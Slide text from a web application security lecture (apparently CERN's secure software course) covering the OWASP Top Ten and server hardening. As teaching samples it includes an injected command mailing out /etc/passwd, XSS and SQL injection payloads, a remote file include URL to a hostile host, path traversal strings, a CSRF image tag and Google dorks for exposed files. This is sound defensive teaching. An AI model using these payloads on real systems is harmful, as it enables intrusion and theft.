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(non-Web question) Is this OK?

int set_non_root_uid(int uid)
{

// making sure that uid is not 0 = root 
if (uid == 0) {  

return 0;
}

setuid(uid);
return 1;

}
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Outline

• Web applications - threats

• An incident

• HTTP - a quick reminder

• Google hacking

• OWASP Top Ten vulnerabilities

– with examples!

• More on Web server hardening, PHP etc.
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Focus on Web applications – why?

Web applications are:
• often much more useful than desktop software => popular
• often publicly available
• easy target for attackers 

– finding vulnerable sites, automating and scaling attacks

• easy to develop
• not so easy to develop well and securely

• often vulnerable, thus making the server, the database, 
internal network, data etc. insecure
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Threats

• Web defacement
⇒ loss of reputation (clients, shareholders)
⇒ fear, uncertainty and doubt

• information disclosure (lost data confidentiality)
e.g. business secrets, financial information, client database, 

medical data, government documents

• data loss (or lost data integrity)
• unauthorized access

⇒ functionality of the application abused

• denial of service
⇒ loss of availability or functionality (and revenue)

• “foot in the door” (attacker inside the firewall)
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An incident in September 2008
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HTTP etc. – a quick reminder

Web browser
(IE, Firefox…)

Web server
(Apache, IIS…)

GET /index.html HTTP/1.1

HTTP/1.1 200 OK

POST login.php HTTP/1.1
Referer: index.html
[…]
username=abc&password=def

HTTP/1.1 200 OK
Set-Cookie: SessionId=87325

GET /list.php?id=3 HTTP/1.1
Cookie: SessionId=87325

HTTP/1.1 200 OK

Executing PHP 
login.php

executing 
JavaScript
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Session management

• HTTP is a stateless protocol 
– each request and response pair is independent from others

• Session management 
– to enable user sessions (e.g. cart in an online shop)
– to make stateless HTTP support session state

• Session ID
– generated on the server and sent to the client (browser)
– provided then by the browser in each request to the server
– stored and transferred as a cookie, hidden form field etc.

• Weaknesses in session management often exploited
– various session hijacking techniques exist
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HTTP etc. – a quick reminder

• https – http over SSL (Secure Socket Layer)
– provides encryption for the browser-server traffic
– prevents eavesdropping, and man-in-the-middle attacks 

(if certificate verification is done correctly)
– does not prevent attacks on the client side 

(Cross-site scripting) or the server side (SQL Injection)
– helps users ensure the authenticity of the server

• Basic http authentication:
– weak, limited functionality
– use only if really needed, 

and only over https
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Google hacking

• Finding (potentially) vulnerable Web sites
is easy with Google hacking

• Use special search operators: (more at http://google.com/help/operators.html)

– only from given domain (e.g. abc.com): site:abc.com

– only given file extension (e.g. pdf): filetype:pdf

– given word (e.g. secret) in page title: intitle:secret

– given word (e.g. upload) in page URL: inurl:upload

• Run a Google search for:
intitle:index.of .bash_history

-inurl:https login

"Cannot modify header information"

"ORA-00933: SQL command not properly ended" 

• Thousands of queries possible! (look for GHDB, Wikto)

http://www.google.com/help/operators.html�
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OWASP Top Ten

• OWASP (Open Web Application Security Project)
Top Ten flaws http://owasp.org/index.php/Category:OWASP_Top_Ten_Project

– Cross Site Scripting (XSS)
– Injection Flaws
– Malicious File Execution
– Insecure Direct Object Reference
– Cross Site Request Forgery (CSRF)
– Information Leakage and Improper Error Handling
– Broken Authentication and Session Management
– Insecure Cryptographic Storage
– Insecure Communications
– Failure to Restrict URL Access

http://owasp.org/index.php/Category:OWASP_Top_Ten_Project�
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#1: Cross-site scripting (XSS)

• Cross-site scripting (XSS) vulnerability
– an application takes user input and sends it 

to a Web browser without validation or encoding
– attacker can execute JavaScript code in the victim's browser
– to hijack user sessions, deface web sites etc. 

• Reflected XSS – value returned immediately to the browser
http://site.com/search?q=abc
http://site.com/search?q=<script>alert("XSS");</script>

• Persistent XSS – value stored and reused (all visitors affected)
http://site.com/add_comment?txt=Great!
http://site.com/add_comment?txt=<script>...</script>

• Solution: validate user input, encode HTML output



13 Creating Secure Software Sebastian Lopienski, CERN IT Dept

Code tools: Pixy (for PHP)
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#2: Injection flaws

• Executing code provided (injected) by attacker
– SQL injection

– OS command injection

– LDAP, XPath, SSI injection etc.
• Solutions: 

– validate user input
– escape values (use escape functions)
– use parameterized queries (SQL)
– enforce least privilege when accessing a DB, OS etc.

cat confirmation | mail me@fake.com;
cat /etc/passwd  | mail me@real.com

select count(*) from users where name = ’$name’
and pwd = ’anything’ or ’x’ = ’x’;

’ -> \’
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#3: Malicious file execution

• Remote, hostile content provided by the attacker
is included, processed or invoked by the web server

• Remote file include (RFI) and Local file include attacks:
include($_GET["page"] . ".php");

http://site.com/?page=index

└> include("index.php");

http://site.com/?page=http://bad.com/exploit

└> include("http://bad.com/exploit.php");

http://site.com/?page=C:\ftp\upload\exploit.png%00

└> include("C:\ftp\upload\exploit.png");

• Solution: validate input, harden PHP config
string ends at 
%00, so .php 

not added
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#4: Insecure Direct Object Reference

• Attacker manipulates the URL or form values 
to get unauthorized access

– to objects (data in a database, objects in memory etc.):
http://shop.com/cart?id=413246 (your cart)
http://shop.com/cart?id=123456  (someone else’s cart ?)

– to files:
http://s.ch/?page=home          -> home.php
http://s.ch/?page=/etc/passwd%00 -> /etc/passwd

• Solution: 
– avoid exposing IDs, keys, filenames 

to users if possible
– validate input, accept only correct values
– verify authorization to all accessed objects (files, data etc.)

string ends at 
%00, so .php 

not added
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#5: Cross-site request forgery

• Cross-site request forgery (CSRF) – a scenario
– Alice logs in at bank.com, and forgets to log out
– Alice then visits a evil.com (or just webforums.com), with:
<img src="http://bank.com/

transfer?amount=1000000&to_account=123456789">

– Alice‘s browser wants to display the image, so sends 
a request to bank.com, without Alice’s consent

– if Alice is still logged in, then bank.com accepts the request and 
performs the action, transparently for Alice (!)

• There is no simple solution, but the following can help:
– expire early user sessions, encourage users to log out
– use “double submit” cookies and/or secret hidden fields
– use POST rather than GET, and check referer value
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#7: Broken session management

• Understand session hijacking techniques, e.g.:
– session fixation (attacker sets victim’s session id)
– stealing session id: eavesdropping (if not https), XSS

• Trust the solution offered by the platform / language
– and follow its recommendations (for code, configuration etc.)

• Additionally:
– generate new session ID on login (do not reuse old ones)
– use cookies for storing session id
– set session timeout and provide logout possibility
– consider enabling “same IP” policy (not always possible)
– check referer (previous URL), user agent (browser version)
– require https (at least for the login / password transfer)
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#10: Failure to Restrict URL Access

• “Hidden” URLs that don’t require further authorization
– to actions:
http://site.com/admin/adduser?name=x&pwd=x

(even if  http://site.com/admin/ requires authorization)

– to files:
http://site.com/internal/salaries.xls
http://me.com/No/One/Will/Guess/82534/me.jpg

• Problem: missing authorization
• Solution

– add missing authorization 
– don‘t rely on security by obscurity – it will not work!
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Client-server – no trust

• Security on the client side doesn’t work (and cannot)
– don’t rely on the client to perform security checks (validation etc.) 
– e.g. <input type=”text” maxlength=”20”> is not enough
– authentication should be done on the server side, not by the client 

• Don’t trust your client
– HTTP response header fields like referrer, cookies etc.
– HTTP query string values (from hidden fields or explicit links)
– e.g. <input type=”hidden” name=”price” value=”299”>

in an online shop can (and will!) be abused
• Do all security-related checks on the server
• Don’t expect your clients to send you SQL queries, 

shell commands etc. to execute – it’s not your code anymore
• Put limits on the number of connections, set timeouts
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Advice

• Protect code and data – make sure they can’t be 
simply accessed / downloaded:

– password files (and other data files)
– .htaccess file (and other configuration files)
– .bak, .old, .php~ etc. files with application source code

• Forbid directory indexing (listing)

in Apache:

Options –Indexes
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Harden the Web server

• strip-down the system configuration
– only necessary packages, accounts, processes & services 

• patch OS, Web server, and Web applications
– use automatic patching if available

• use a local firewall
– allow only what is expected (e.g. no outgoing connections)

• harden Web server configuration
– incl. programming platform (J2EE, PHP etc.) configuration

• run Web server as a regular (non-privileged) user
• use logs

– review regularly, store remotely
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Programming in PHP

• Read http://phpsec.org/projects/guide/

• Disable allow_url_fopen and allow_url_include
• Disable register_globals
• Use E_STRICT to find uninitialized variables
• Disable display_errors

• Don’t leave phpinfo() files in the production version
– Google search: intitle:phpinfo filetype:php

http://phpsec.org/projects/guide/�
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Summary

• understand threats and typical attacks

• validate, validate, validate (!)

• do not trust the client

• read and follow recommendations for your language

• harden the Web server 
and programming platform configuration
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An incident in September 2008
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Thank you!

Bibliography and further reading:
http://cern.ch/SecureSoftware

Sebastian.Lopienski@cern.ch

Questions?
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